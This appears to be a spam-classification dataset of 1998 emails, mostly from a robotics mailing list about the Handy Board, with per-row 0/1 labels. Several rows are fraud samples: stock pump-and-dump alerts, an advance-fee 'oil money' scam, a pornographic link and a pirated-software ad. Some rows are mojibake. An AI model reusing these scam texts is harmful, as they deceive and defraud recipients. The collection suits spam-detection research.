Gabbrielli (Univ. of Pisa), Ian Gent (Univ. of Strathclyde), Nevin Heintze (Bell Lab.), Manolis Koubarakis (UMIST), Jimmy Lee (Chinese Univ. of Hong Kong), Alan Mackworth (Univ. of British Columbia), Kim Marriott (Monash Univ.), Wim Nuijten (ILOG), Catuscia Palamidessi (Penn State Univ.), Francesca Rossi (Univ. of Pisa), Helmut Simonis (Cosytec), Barbara Smith (Univ. of Leeds), Peter Stuckey (Univ. of Melbourne), Ralf Treinen (Univ. of Paris-Sud), Michel Van Caneghem (Uiniv. of Marseilles and Prologia), Dirk Van Gucht (Indiana Univ.), Makoto Yokoo (NTT). Organizing Committee: --------------------- A. Borning (Univ. of Washington), J. Cohen (Brandeis Univ.), A. Colmerauer (Univ. of Marseille), E. Freuder, chair (Univ. of New Hampshire), H. Gallaire (Xerox), J.-P. Jouannaud (Univ. of Paris Sud), J.-L. Lassez (New Mexico Tech), U. Montanari (Univ. of Pisa), A. Nerode (Cornell Univ.), V. Saraswat (AT&T Research), G. Smolka (DFKI and Univ. Saarlandes), R. Wachter (Office of Naval Research). Paper submissions: ------------------ Authors should submit abstracts by April 20 and original full papers of no more than 15 pages by April 24. Submission should be done by sending two emails to cp98@ilog.fr. The first email should have subject: CP'98 abstract followed by the paper title; the body should contain the title, authors and a short abstract of the paper in plain text. This email must be sent by April 20. The second email should have subject: CP'98 paper followed by the paper title; the body should contain a postscript file. For authors who are unable to submit electronically, five paper copies can be mailed to one of the program chairs. In that case the package should arrive no later than April 24. Publication: ------------ The proceedings will be published by Springer Verlag in the Lecture Notes in Computer Science series. A special issue of the Constraints journal (Kluwer Academic Publishers) is planned, based on selected papers. Conference Format and Program: ------------------------------ CP98 will take place in Pisa, a pleasant small town in the Tuscany region of Italy. The conference will be five days long from Monday to Friday. The invited speakers are Joxan Jaffar (National University of Singapore), Patrick Prosser (University of Strathclyde, UK), and Peter Jeavons (Royal Holloway, University of London). Workshops: ---------- Satellite workshops will be organized on Friday, October 30. Workshop proposals can be submitted to the workshop chair by March 27, 1998. The details can be found in the call for workshop proposal, which can be seen on the CP98 web page. Important dates: ---------------- -- April 20, 1998: abstract submissions -- April 24, 1998: paper submissions -- July 2, 1988: acceptance decisions -- July 31, 1998: camera-ready copy due Sponsorships: ------------- CP98 is jointly sponsored by AI*IA (Italy), APT Pisa (Italy), Cosytec (France), ILOG (France), SINTEF (Norway), Prologia (France), ToscoDati (Italy), and Compulog Net. Other sponsorships are pending. ",0,1 Richard ,handyboard@media.mit.edu,"Mon, 23 Mar 1998 17:42:19 -0800",IR-DATA,"This must seem really elementary to everyone, but inside of my program, how do i reset the value of the ir_data? I've been trying everything in the handyboard technical references but it gives me either a syntax error or Cannot assign type >.",0,0 Will Bain ,handyboard@media.mit.edu,"Mon, 23 Mar 1998 20:25:16 -0700",Re: IR-DATA,"At 05:42 PM 3/23/98 -0800, Richard wrote: >This must seem really elementary to everyone, but inside of my program, >how do i reset the value of the ir_data? I've been trying everything in >the handyboard technical references but it gives me either a syntax error >or Cannot assign type >. The cool thing is that you don't have to reset it; it resets itself automatically. When you call the function ir_data( 0 ), it returns the last IR signal received, or zero if nothing has been received since the last time you called it. --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, Every improvement in communication Will Bain, makes the bore more terrible. & Tatoosh --Frank Moore Colby",0,0 Charles Hacker EAS ,handyboard@media.mit.edu,"Tue, 24 Mar 1998 13:21:04 +1000",Assembly language routines for Printing,"Hello All, I am attempting to display characters on the Handy Board screen, using pure assembly. I know the routine needs to be copied to internal RAM, put in single chip mode, then activate the display - as stated by the hardware reference manual. But this documenation, (and any other documentation I could find for the Handy Board) does NOT adequately explain how to do it. So I was hoping someone may have written an assembly / machine code routine that will display something on screen. Hence provide code I can build from. Thanking you, Charles Hacker School of Engineering Griffith University - Gold Coast PMB 50 Gold Coast Mail Centre Southport Queensland 9726 Australia. Email - C.Hacker@eas.gu.edu.au Ph. (07) 55948 670 Fax.(07) 55948 065 ",0,0 Perry Waters ,"handyboard@media.mit.edu, willie@media.mit.edu, deirdre@media.mit.edu, hector@media.mit.edu","Mon, 23 Mar 1998 19:12:54 +0000",Firecracker Stock Alert,"Trading A|ert Premium Petroleum, Inc. symbol: |P) |P) |T| |L| currently trading at around 0.02, we expect a big jump in the price this week up around .10! Act fast on this one! A Massive PR Campaign is underway for Tuesday and all this week! Expect some Big news to drive this one thur the roof! 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I know, I know...","I couldn't sleep so I thought I would make some use of my insomnia. Several people have asked if the HB's memory can be extended, and usually the answer is no, not if you want to run IC. I have been taking a break from my navigation systems, and been thinking about a SPI driven memory extension. I have 2, 128k SRAM chips, just lying here doing nothing so I started wondering what it would take to build and write code to support the device. What I envision is a sort of harddrive for the HB. Sure it's slow, but to be able to dynamically load/unload stored programs or data not always needed in main memory, it might be worth the trouble. I was thinking 4, 8 bit serial_in/parallel_out (HC164) strung together the memory chips, and an 8 bit parallel in serial out(HC165). 18 bits necessary for adressing 256k of memory, 8 for data to be written. 1 bit for read/write. Am I leaving anything out? That still leaves 5 bits to either add a few more bits to the addressing space for larger chunks of RAM, or control plenty of stuff via the serial port. The actual device _seems_ easy enough to build, but the task of the software seems a little more daunting. My problem is I don't know much about how IC does it's memory management (I guess that's what source code is for though), not much about memory management in general. I have a book on design of operating systems which has some stuff about mem. man. but haven't really had chance to read it. Does integrating this idea into IC seem riddled with problems, or does it sound semi-reasonable? I'm a CS major, so something like this would really be educational. I'm not asking for help with the programming (at least not yet), I am just trying to test the water before I jump in head first. SO.... with all that said, if this message seems crazy, I'll blame it the fact that I haven't slept in a long time. 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Regards Chris ",0,0 Mike Chang ,HandyBoard ,"Tue, 24 Mar 1998 13:42:56 -0800",Re: Help reading pulsewidth. Thanks.,"Thanks All, With the help you provided I think PipeBot will be a success. It is about to go on it's first test sortie under the house with an umbilical and tether. The umbilical is tied to three of the digital inputs so I can take over control if nessesary. There was a trade off in that I had to lose the rear bump sensors to free up more inputs. Has anybody had any luck on using the expansion header and a 'hc374 for more inputs? Is the expansion board going to be released anytime soon? Well the time is comming to send my bot on it's way. Again, thanks Mike ",0,0 Darth Vader ,"Chris White , handyboard@media.mit.edu","Tue, 24 Mar 1998 16:49:48 -0600",Re: Wall Following,"My aim in this project is to build a robot from a Fischertechnik kit, and control it with a 6.270 board, with the aim being firstly to wall follow, and secondly to build a Self-Organising Neural Network representation of the environment. Problem is the infra-red !! I have spent many weeks trying to get the robot to follow walls using infra-red, and various other methods, but to no avail !! The infra-red is too tempramental, or too sensitive to be of any use. Has anyone else had any experiences like myslef, that couold possibly help ?? Youre right. I/R is awfully finicky. Your best bet is to do it the way ants do it: use feelers! Take a sensitive microswitch (AKA Leaf Switch) and attatch a thin piece of metal to protruse out as a 'feeler'. You have an easy digital input solution that will result in a definite yes/no. phil",0,0 Will Bain ,handyboard@media.mit.edu,"Tue, 24 Mar 1998 18:34:09 -0700",Re: Wall Following,"At 09:05 PM 3/24/98 +0000, Chris White wrote: >Hi All, > >A major problem, that has been the bain of my life for the last 3 >months. Correction: the problem has been the *bane* of your life--not the bain. I'm the bain of everyone's life. >Problem is the infra-red !! I have spent many weeks trying to get the >robot to follow walls using infra-red, and various other methods, but >to no avail !! The infra-red is too tempramental, or too sensitive to >be of any use. Has anyone else had any experiences like myslef, that >couold possibly help ?? The best solution to the problem that I've seen is in the 6.270 Robot Builder's Guide, which can be downloaded off of the documents page of the Handy Board web site. Fred Martin describes the bend sensors that were developed for the Nintendo Power Glove. They're used as variable resistance feelers for very precise positioning from walls, etc. Unfortunately, I don't know where to buy them. Maybe someone else on list could tell us where we could buy these bend sensors? --Will Bain , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, Suburbia is where the developer bulldozes out Will Bain, the trees, then names the streets after them. & Tatoosh --Bill Vaughn",0,0 klmckin@magmacom.com,handyboard@media.mit.edu,"Tue, 24 Mar 1998 22:05:20 -0500",Re: Wall Following,"I wrote a similar type scenario using a PIC (pre handyboard user)... The trick I found was not to rely on a single return, but multiple. That is, use a counter, to count the number of hits. Use 64 as a base number, count down for each hit, up for a miss (always max 64)... You get the idea, when the counter reaches 0, youre probably damn close to something.... I used 256, at 1ms between shots, left and right transmitters with a common receiver (Mobile Robots, Inspiration.. Chapter 5), for the hardware design and a lot of playing for the software. I didn't move very fast about 1""/sec, so could afford the multiple hits. Your mileage may vary. K.L. McKinnon >At 09:05 PM 3/24/98 +0000, Chris White wrote: >>Hi All, >> >>A major problem, that has been the bain of my life for the last 3 >>months. > >Correction: the problem has been the *bane* of your life--not the bain. >I'm the bain of everyone's life. > > >>Problem is the infra-red !! I have spent many weeks trying to get the >>robot to follow walls using infra-red, and various other methods, but >>to no avail !! The infra-red is too tempramental, or too sensitive to >>be of any use. Has anyone else had any experiences like myslef, that >>couold possibly help ?? > >The best solution to the problem that I've seen is in the 6.270 Robot >Builder's Guide, which can be downloaded off of the documents page of the >Handy Board web site. Fred Martin describes the bend sensors that were >developed for the Nintendo Power Glove. They're used as variable resistance >feelers for very precise positioning from walls, etc. Unfortunately, I >don't know where to buy them. Maybe someone else on list could tell us >where we could buy these bend sensors? > >--Will Bain > , , > __@_/ \\_@__ |/ > | /__, o @_/ > )\\ ) ( \\ (\\/\\\\, >~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ >Wendy Parson, Suburbia is where the developer bulldozes out >Will Bain, the trees, then names the streets after them. >& Tatoosh --Bill Vaughn > > > K.L. McKinnon klmckin@magmacom.com",0,0 Richard ,handyboard@media.mit.edu,"Tue, 24 Mar 1998 19:48:00 -0800",ir-transmitter,"I was wondering if anyone has used IR transmission in their programs and if so, do you have a bit of simple sample code i could take a look at and if you knew variable ranges or anything. Also..does anyone know a common household material that will stop infrared transmissions within a foot or so? I built some shielding for the ir reciever with some bits i cut from an AOL CDROm so it can localize where the signal is coming from and go there. The problem is that its only good at insulating once you get outside of this about 3ft. zone around it. -Richard ",0,0 Christoper ,kate@aleve.media.mit.edu,"Wed, 25 Mar 1998 14:53:25 -0400",Young darling Woman Poorn esthetical Viddeo!," Do you like delectable Hussy doing lovely blowjjob? http://bigcoolgame.info/fpxs.htm?iSPhfd.fX,hj U,,N,$,U,B,$,C,R,I,B,E http://bigcoolgame.info ",1,1 Will Bain ,handyboard@media.mit.edu,"Tue, 24 Mar 1998 22:55:18 -0700",Re: ir-transmitter,"At 07:48 PM 3/24/98 -0800, Richard wrote: >Also..does anyone know a common household material that will stop infrared >transmissions within a foot or so? I built some shielding for the ir >reciever with some bits i cut from an AOL CDROm so it can localize where >the signal is coming from and go there. >The problem is that its only good at insulating once you get outside of >this about 3ft. zone around it. Aluminum foil will stop everything bigger than x-rays (and that includes IR). A CD looks highly reflective, but it probably refracts and reflects a lot of energy, too. I realize they don't send foil directly to your house like they do those AOL CD-ROMs, but it's worth the extra trouble. --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, Every improvement in communication Will Bain, makes the bore more terrible. & Tatoosh --Frank Moore Colby",0,0 geraldine marcus ,handyboard@media.mit.edu,"Wed, 25 Mar 1998 04:07:49 +0200",CAN I TRUST YOU?,"Dear Friend, I hope my email meets you well. I am in need of your assistance. My name is SGT. GERALDINE MARCUS, I am in the Engineering military unit here in Ba'qubah in Iraq, we have about $65 Million US dollars that we want to move out of the country. My partners and I need a good partner someone we can trust. It is oil money and legal. But we are moving it through diplomatic means, to send it to your house directly or a bank of your choice using diplomatic courier service.The most important thing is that \\ul CAN WE TRUST YOU\\ulnone ? Once the funds get to you, you will take your 35% out and keep our own 65%. Your own part of this deal is to find a safe place where the funds can be sent to and kept. Our own part is sending it to your doorstep where the consignment will be delivered to you.If you are interested you will need to give me your address, telephone and fax number where the diplomat will reacch you as soon as he arrives your country and i will furnish you with more details that will facilitate your immediate access to the fund. But the whole process is simple and we must keep a low profile at all times. Please reply me with this email for security purposes Thanking you and waiting for your urgent and favourable response. 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The University bought two Rug Warrior Pro kits for me to play with this year. I have been able to sort the sometimes odd behaviour of Interactive C. Using IC 3.1 or 3.2 I cam download the pcode to the board. Then it goes: Synchronising with board pcode version 3.10 Present on Board Loading C:\\IC\\Libs\\Lib_rwp.lis Loading C:\\IC\\Libs\\Lib_ic.c. Loading C:\\IC\\Libs\\Lib_rwp.c. Loading C:\\IC\\Libs\\speed.icb Loading C:\\IC\\Libs\\shaft.c Initialising Interupts Board not responding with 98 (b) command Then it freezes up and the heart on the board stops. At no stage has it come up with IC 3.1 on the LCD. The other one is working perfectly (so far) thanks for any help. Robert Williams 3rd Yr B.IT Central Queensland University williamr@topaz.cqu.edu.au In Cyberspace...all warriors....are....Code Warriors ",0,0 Marketing GURU ,handyboard@media.mit.edu,"Wed, 25 Mar 1998 14:52:59 -0000","������ ""���ҧ Brand ���ҧ������Դ����"" �� �س�ҷ� ����Թ (������) ��� ""������ҧ���ӷ�����""","ÊÑÁÁ¹Ò ""ÊÃéÒ§ Brand ÍÂèÒ§äÃãËéà¡Ô´áÅÐâµ"" â´Â ¤Ø³¾Ò·Õ ÊÒÃÊÔ¹ (¹¡áÍÃì) ÊÑÁÁ¹Ò ""¡ÒÃÊÃéÒ§¼Ùé¹Ó·ÕÁ¢ÒÂãËéà˹×ÍÁ×ͷͧ"" â´Â ÍÒ¨ÒÃÂìÇÊѹµì ¾§ÈìÊØ»ÃдÔÉ°ì ËÒ¡ÃÒÂÅÐàÍÕ´´éÒ¹ÅèÒ§äÁèáÊ´§ÊÒÁÒö´ÙÃÒÂÅÐàÍÕ´ä´é·Õè www.mga.co.th/ma/br.html unsubscript please reply to unsubscibe@roomthai.com ¢ÍÍÀÑÂÍÂèÒ§ÊÙ§ËÒ¡ÍÕàÁÅì¹Õéà»ç¹¡ÒÃú¡Ç¹·èÒ¹ ¡ÃØ³Ò reply ÍÕàÁÅìÁÒ·Õè unsubscibe@roomthai.com à¾×èÍ·Ò§àÃÒ¨ÐäÁèÊè§Ãº¡Ç¹·èҹ㹤ÃÑ駵èÍä»",1,1 dkumar@blackcat.brynmawr.edu,handyboard@media.mit.edu,"Wed, 25 Mar 1998 08:52:55 -0500",Bend Sensors Supplier," Greetings! I responded privately to the person who had initally asked for this. SInce other people also seem interested, here is the ordering information for bend sensors. Images Company PO Box 140742 Staten Island, NY 10314 Phone: (718) 698-8305 Fax: (718) 982-6145 The Flex Sensor (as they call it) is part Number F101 and costs $5.00 a piece. You can call and place an orser by phone. They can deliver overnight for an extra charge. Deepak. PS: For schools desiring to get started with Handy Boards, we have prepared a resource kit which can be accessed at http://www.acm.org/sigart (follow the link to Educational Resources/Robotics). It contains basic start up information. --- Deepak Kumar E-mail: dkumar@blackcat.brynmawr.edu Department of Math. & Computer Science Voice: (610) 526-7485 Bryn Mawr College Fax: (610) 526-5086 Bryn Mawr, PA 19010 WWW: http://serendip.brynmawr.edu/~dkumar/ ",0,1 klmckin@magmacom.com,handyboard@media.mit.edu,"Wed, 25 Mar 1998 15:08:09 -0500",Re: ir-transmitter,"Finally, a good use for those AOL cd's. I wondered what to do with em... KLM >I was wondering if anyone has used IR transmission in their programs and >if so, do you have a bit of simple sample code i could take a look at and >if you knew variable ranges or anything. > >Also..does anyone know a common household material that will stop infrared >transmissions within a foot or so? I built some shielding for the ir >reciever with some bits i cut from an AOL CDROm so it can localize where >the signal is coming from and go there. >The problem is that its only good at insulating once you get outside of >this about 3ft. zone around it. > >-Richard > > > K.L. McKinnon klmckin@magmacom.com ",0,0 Kyle Mayberry ,handyboard@media.mit.edu,"Wed, 25 Mar 1998 10:49:37 +0800",Thanks for being a good friend!,"We offer INSTANT DOWNLOAD! You will no need to wait 2-3 week for CD delivery - you can download any program and PC games at once you have purchased it! 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Ahh..the wonders of duct tape. On Wed, 25 Mar 1998, K.L. McKinnon wrote: > Finally, a good use for those AOL cd's. I wondered what to do with em... > > KLM > > >I was wondering if anyone has used IR transmission in their programs and > >if so, do you have a bit of simple sample code i could take a look at and > >if you knew variable ranges or anything. > > > >Also..does anyone know a common household material that will stop infrared > >transmissions within a foot or so? I built some shielding for the ir > >reciever with some bits i cut from an AOL CDROm so it can localize where > >the signal is coming from and go there. > >The problem is that its only good at insulating once you get outside of > >this about 3ft. zone around it. > > > >-Richard > > > > > > > K.L. McKinnon > klmckin@magmacom.com > > ",0,0 ����� ,handyboard@media.mit.edu,"Thu, 26 Mar 1998 06:30:20 +0500","��...��... �� ��ư� �����ؿ�? ��,ȭ�� ������. ��,,��,��,��,,, 5,�оȿ� 5,õ �����.....",���� ����,1,1 John Hatton ,"'Handyboard Mailing List' , 'Robot Board Mailing list' ","Thu, 26 Mar 1998 11:02:31 -0000",Artificial Intelligence Wars,"I recently found a game which may interest some of you. You program your robot using a simple Basic-like language and then let it loose against other robots (only five allowed in the shareware version). I haven't played it much yet but for the beginners in robotics out there (I'm one of them) this could be a good way of learning basic artificial intelligence. The URL is : http://ourworld.compuserve.com/homepages/John_Reder/ai.htm Have fun John Hatton john_hatton@bigfoot.com ",0,1 Leon ,Mehir ,"Thu, 26 Mar 1998 08:43:02 -0500",give me ur thoughts,"Hey Mehir, Apologize i've been out of town but I just got ur msg. I'm not sure how to mention this but since you're not happy with your livelyhood. You might visit here, www.andthankyouseeitnow.org/taw/. in criticize a Los colonization, they Angeles. The lumpy texture of life in the city, the have parody random different themes. looniness of the street, the idioms and speech inflections Leon ",1,0 """Gary E. Adams"" ",echohmann@csupomona.edu,"Thu, 26 Mar 1998 15:27:08 -0700",FWD>High Performance Award - Request for URL,"Ed - FYI - I sent this on March 19, right after I rec'd the following from NSF - I will schedule an in person meeting within the next couple of weeks to go over everything - in the meantime, if anyone has any questions - please contact me via email or voice mail....Hope this helps.. All - what would help at this time is a current contact list for the NSF award coordination from each of the three campuses - I haven't heard from any of the campuses in quite a while. Date: 3/13/98 7:00 AM From: Douglas Gatchell Subject: Grant augmentation process to cover subscription fees You should have received a copy of the MCI subscription agreement from Neil van Duinen of MCI. To receive reimbursement from NSF for the subscription fee, please fax us a letter signed by an institutional representative requesting the supplement, a copy of the MCI agreement signed by your institution, and a copy of NSF Form 1030 (Budget Summary) signed by you and the institutional representative. A sample format for the letter is attached below. Original copies are not needed. If you are connected and can execute the subscription fee contract with MCI, your Form 1030 should reflect the subscription fee period from April 1, 1998 through March 31, 1999. For a DS-3 connection that totals $43,000, and for OC-3 $130,000. In addition, if you have received only the first increment of your award, you should include the remainder of your award on the Form 1030. Consorta should submit a combined budget and signed contracts for each member institution. If you can't execute your subscription fee contract by April 1 or aren't yet connected to the vBNS, please contact Dave Staudt at dstaudt@nsf.gov or 703 306 1949 so this can be handled on a case by case basis. Please feel free to call or write with questions. Doug & Dave >Date: Thu, 19 Mar 1998 11:34:24 -0700 >To: etibrahim@csupomona.edu, karant@ias.csusb.edu, dsharpe@mail.sdsu.edu >From: ""Gary E. Adams"" >Subject: FWD>High Performance Award - Request for URL >Cc: twest, dreese, mmclean >Bcc: >X-Attachments: > >Greetings to all: >Please see the enclosed note below from Dave Stout at NSF. We will need >to get together soon to get organized. In the meantime, I will forward >any information that may help in understanding where we are with the >process.... > >> >>-------------------------------------- >>Date: 3/17/98 10:30 AM >>From: David Staudt >>Hi - congratulations on receiving a high performance connection award. >>There's a lot of interest in these awards and we're already being pressed >>to provide information on them. We find the best way to respond is to >>refer folks to our web page, which has the list of awards, a clickable map, >>and hot links to the web pages of the awardee institutions. Its URL is: >>http://www.cise.nsf.gov/anir/hp-connections.html >> >>To provide some sense of consistency we would appreciate your providing a >>web page describing your project and including the following information: >> >> 1) Description of the project and the part the NSF grant will >> play. Please reference the NSF award number. >> >> 2) Contact information for those wishing to get additional >> information about the project. >> >> 3) Meritorious research being supported and the institutions >> participating in the research. This can be titles alone >> and/or links to other URLs. Under each research topic, >> include the participating institutions. URLs to those >> institutions would be acceptable but not necessary. >> >> 5) A description of the high performance connection supporting >> the meritorious research. Please include the physical >> equipment and network topology which shows how the links >> support and enhance the campus infrastructure as well as >> provide the connection to the vBNS. >> >> 6) Your anticipated schedule for implementation. >> >> 7) A description of how you will be supporting quality of >> service requirements and performance measurements >> >> 8) Anything else you would like to make available. We get >> frequent requests for copies of winning proposals, so an >> on-line copy of your proposal would be very useful to others >> in the community, and would also help provide some of the >> information requested above. Feel free to delete anything >> which you consider violates privacy, etc. >> >>Please send me the URL as soon as you can, even though your web page is not >>complete or is under construction. We expect the information to be dynamic >>and to change over time. If you have more than one institution in your >>award, please pass this message to the appropriate people and coordinate >>sending the URLs to me. >> >>Feel free to contact me with questions or comments. Dave >> >>******************************************************************* >>David A. Staudt Associate Program Director >>Division of Advanced Networking Infrastructure and Research >>National Science Foundation Internet: dstaudt@nsf.gov >>4201 Wilson Blvd, Room 1175 Phone: 703 306 1949 >>Arlington, VA 22230 Fax: 703 306 0621 >>******************************************************************* >> >>------------------ RFC822 Header Follows ------------------ >>Received: by qmbridge.calstate.edu with ADMIN;17 Mar 1998 10:25:37 -0800 >>Received: from beta.nsf.gov (firewall-user@beta.nsf.gov [206.2.78.5]) by >>CalState.EDU (8.8.5/8.6.12) with ESMTP id KAA28782 for >>; Tue, 17 Mar 1998 10:22:44 -0800 >>Received: by beta.nsf.gov; id NAA16035; Tue, 17 Mar 1998 13:21:53 -0500 (EST) >>Received: from mailman.nsf.gov(128.150.11.2) by beta.nsf.gov via smap (3.2) >> id xma016013; Tue, 17 Mar 98 13:21:31 -0500 >>Received: from dstaudt.nsf.gov (cise00139.cise.nsf.gov [128.150.136.148]) >> by mailman.nsf.gov (8.8.4/8.8.4) with SMTP >> id NAA19446; Tue, 17 Mar 1998 13:21:11 -0500 >>Message-Id: <3.0.3.32.19980317130345.0311eb00@popsrvr.nsf.gov> >>X-Sender: dstaudt@popsrvr.nsf.gov >>X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32) >>Date: Tue, 17 Mar 1998 13:03:45 -0500 >>To: pwilcox@unl.edu (Pam Holley-Wilcox), joel@mail.ucf.edu (Joel Hartman), >> dubetz@wugate.wustl.edu (Martin Dubetz), >> John_S_Camp@wayne.edu (John Camp), >> jbielec@duvm.ocs.drexel.edu (John Bielec), >> sgraves@pluto.cs.uah.edu (Sara Graves), kline@uiuc.edu (Charlie >>Kline), >> dls@uab.edu (David Shealy), desmedt@cs.uwm.edu (Y. Desmedt), >> springer@cecs.missouri.edu (Gordon Springer), >> relyeas@ucsd.edu (Steve Relyea), twest@calstate.edu (Tom West), >> morrison@uwyo.edu (Bob Morrison), johny@uidaho.edu (John Yost), >> cannon@wsu.edu (Lynn Cannon), hdtodd@montana.edu (David Todd), >> fuchs@princeton.edu (Ira Fuchs), gcrane@nysernet.org (Gary Crane), >> jms@cc.purdue.edu (John Steele), >> dgale@gwis2.circ.gwu.edu (Douglas Gale), >> dubach@oit.umass.edu (John Dubach) >>From: David Staudt >>Subject: High Performance Award - Request for URL >>Cc: Bill Decker , Douglas Gatchell , >> Nancy Richeson >>Mime-Version: 1.0 >>Content-Type: text/plain; charset=""us-ascii"" >> > Gary E. Adams, Senior Director Telecommunications Infrastructure Support Services Information Resources and Technology CSU, Office of the Chancellor Voice:562-985-9402 / fax:562-985-9414 / garye@csu.net http://www.csu.net/tiss.html",0,1 """Gary E. Adams"" ","echohmann@csupomona.edu, stewart@saturn.sdsu.edu, etibrahim@csupomona.edu, karant@ias.csusb.edu, dsharpe@mail.sdsu.edu, waguilar@wiley.csusb.edu","Thu, 26 Mar 1998 15:41:28 -0700",NSF Award Letter,"FYI - please see enclosed award letter - we never did get an original! NSF emailed this to me last week... ****** Date: Thu, 26 Feb 98 14:18:48 EDT To: From: ""award"" Subject: AWARD 9729574, West, Thomas W Award Date February 26, 1998 Grant No. ANI-9729574 Proposal No. ANI-9729574 Dr. Thomas W. West Assistant Vice Chancellor The California State University Chancellor's Office 4665 Lampson Avenue Los Alamitos, CA 90720 Dear Dr. West: The National Science Foundation hereby awards a grant of $525,000 to The California State University Chancellor's Office for support of the project described in the proposal referenced above, as modified by the revised budget dated November 21, 1997, as further modified by NSF. This project, under the direction of Thomas W. West, Office of the Chancellor, Elhami T. Ibrahim, Department of Electrical and Computer Engineering, Gary E. Adams, Information Resources and Technology, Jack F. Paris, Center for Spatial Information, Visualization and Analysis and Yasha J. Karant, Institute of Applied Supercomputing, is entitled: ""CalREN-2: The Calfornia Research and Education Network- Phase 2."" This award is effective March 1, 1998 and expires February 28, 1999. This is a continuing grant which has been approved on scientific / technical merit for approximately 2 years. Contingent on the availability of funds and the scientific progress of the project, NSF expects to continue support at approximately the following level: FY1999 $525,000 This grant is awarded pursuant to the authority of the National Science Foundation Act of 1950 (42 U.S.C. 1861 et seq.) and is subject to GC-1 Grant General Conditions (12/97) and the following terms and conditions: As a condition of this award, the grantee agrees to provide cost sharing as specified in the referenced proposal, as amended, in the amount of $1,266,290 for Year 1 and $1,266,290 for Year 2. No Federal funds may be used to meet the grantee's cost sharing obligation for this project. The amount of cost sharing must be documented (on an annual and cumulative basis) reported to NSF and certified by an authorized institutional representative. These cost sharing reports must be included as part of the annual progress and final project report. The attached budget indicates the amounts, by categories, on which NSF has based its support. The cognizant NSF program official for this grant is David A. Staudt (703) 306-1949. The cognizant NSF grants official is Maria Valerio (703) 306-1212. Sincerely, Aaron R. Asrael Grants Officer SUMMARY PROPOSAL BUDGET PERSON MOS Funds granted cal acad sumr By NSF A. ( 0.00) Total Senior personnel 0.00 0.00 0.00 $0 B. Other Personnel 1. ( 0.00) Post doctoral associates 0.00 0.00 0.00 $0 2. ( 0.00) Other professionals 0.00 0.00 0.00 $0 3. ( 0.00) Graduate students $0 4. ( 0.00) Secretarial-clerical $0 5. ( 0.00) Undergraduate students $0 6. ( 0.00) Other $0 Total salaries and wages (A+B) $0 C. Fringe benefits (if charged as direct cost) $0 Total salaries wages and fringes (A+B+C) $0 D. Total permanent equipment $525,000 E. Travel 1. Domestic $0 2. Foreign $0 F. Total participant support costs $0 G. Other direct costs 1. Materials and supplies $0 2. Publication costs/page charges $0 3. Consultant services $0 4. Computer (ADPE) services $0 5. Subcontracts $0 6. Other $0 Total other direct costs $0 H. Total direct costs (A through G) $525,000 I. Total indirect costs $0 J. Total direct and indirect costs (H+I) $525,000 K. Residual funds / Small business fee 1. Residual funds (if for further support of current projects GPM 252 and 253) $0 2. Small business fee $0 L. Amount of this request (J) or (J - K1 + K2) $525,000 M. Cost sharing $1,266,290 Gary E. Adams, Senior Director Telecommunications Infrastructure Support Services Information Resources and Technology CSU, Office of the Chancellor Voice:562-985-9402 / fax:562-985-9414 / garye@csu.net http://www.csu.net/tiss.html",0,1 Charles Daniel ,handyboard@media.mit.edu,"Thu, 26 Mar 1998 16:39:35 -0500",Sonar HELP!,"Anyone, Hi, I've hooked up a Polaroid 6500 sonar to my HandyBoard; following the specifications in from the Hardware section in the Handyboard homepage. I've also downloaded the sonar.c file and downloaded onto the handyboard. Now here's the problem: I ran sonar_init() Then I ran sonar_sample() and I got a -1 as the result So I ran sonar_display() and I still got the -1 (""******"") I did hear the clicking of the transducer. Now I looked through that code and I think narrowed it down to the program not getting an ECHO back and it timesout. I tried testing it off of objects from 5"" to about 18"" away, and I still kept getting -1. Can anyone help ? Thanks in advance. -CD ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 """Adele W. Macdonald"" ","handyboard@media.mit.edu, abigail@media.mit.edu","Fri, 27 Mar 1998 06:53:04 +0000",The Micro-Cap Journal,"Tech |nvestment Review Nanotechnology st0cks continue to perform at superstar levels. We have carefully sifted through these cutting egde companies to bring you this special winner. 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Esguerra"" ",handyboard@media.mit.edu,"Fri, 27 Mar 1998 01:08:15 -0500",H-Bridges for sale,"hello richard, There is a company called Mondotronic's Robot Store on the internet and they've got a pretty good selection of H-Bridges (actually four) you can readily buy and put to use. Their url is: http://www.robotstore.com/index.html Goodluck, Jose ",0,1 Chris Barnhart ,"""Tim Anderson has no real life."" ","Fri, 27 Mar 1998 03:46:37 -0500",Re: 3d schmanner ,"Here you go Tim, SCANNER.ZIP There are several c files - take a look at the dates - figure out the revsion path. If you have an questions - give me a call - or send email and I'll give you a call. CB At 12:21 PM 3/23/98 -0500, you wrote: >planning to use mac or pc video card, since I have that. >(AV mac) >could you send me some code to look at? > >remember those chemicals you said you were going to deal with, >but you hid them under the stairs? >it's all taken care of. I gave it all to PIKA along with the big >etcher, etc. miters has no more toxics. yippee. > >tim > >",0,0 Anthony Oren Loeppert ,handyboard@media.mit.edu,"Fri, 27 Mar 1998 04:17:12 -0600",Ram peripheral cont.,"Well, I put together something that works, and I now have 128k extra RAM via the SPI, but I have a question about the ram chip... It is supplied by the +5v that is on the SPI port right now. The chip gets a fairly hot after about 20min of having cont. power (it's the only one), but not extremely hot, I didn't wait around for that. The specs. on the ram chips say 5.0v is the power supply voltage. Should I have a resistor to lower the current? Sorry for my ignorance. ",0,0 49r87pg ,handyboard@media.mit.edu,"Fri, 27 Mar 1998 04:15:39 -0300",Impressive outlook for WEEK STARTING MONDAY it isday [SUBSCRIPTION ALERT] contestant enshroud disables devises,"GAPJ- GOLDEN APPLE OIL/GAS This weeks Pick, Company already has solid potential Current Price: 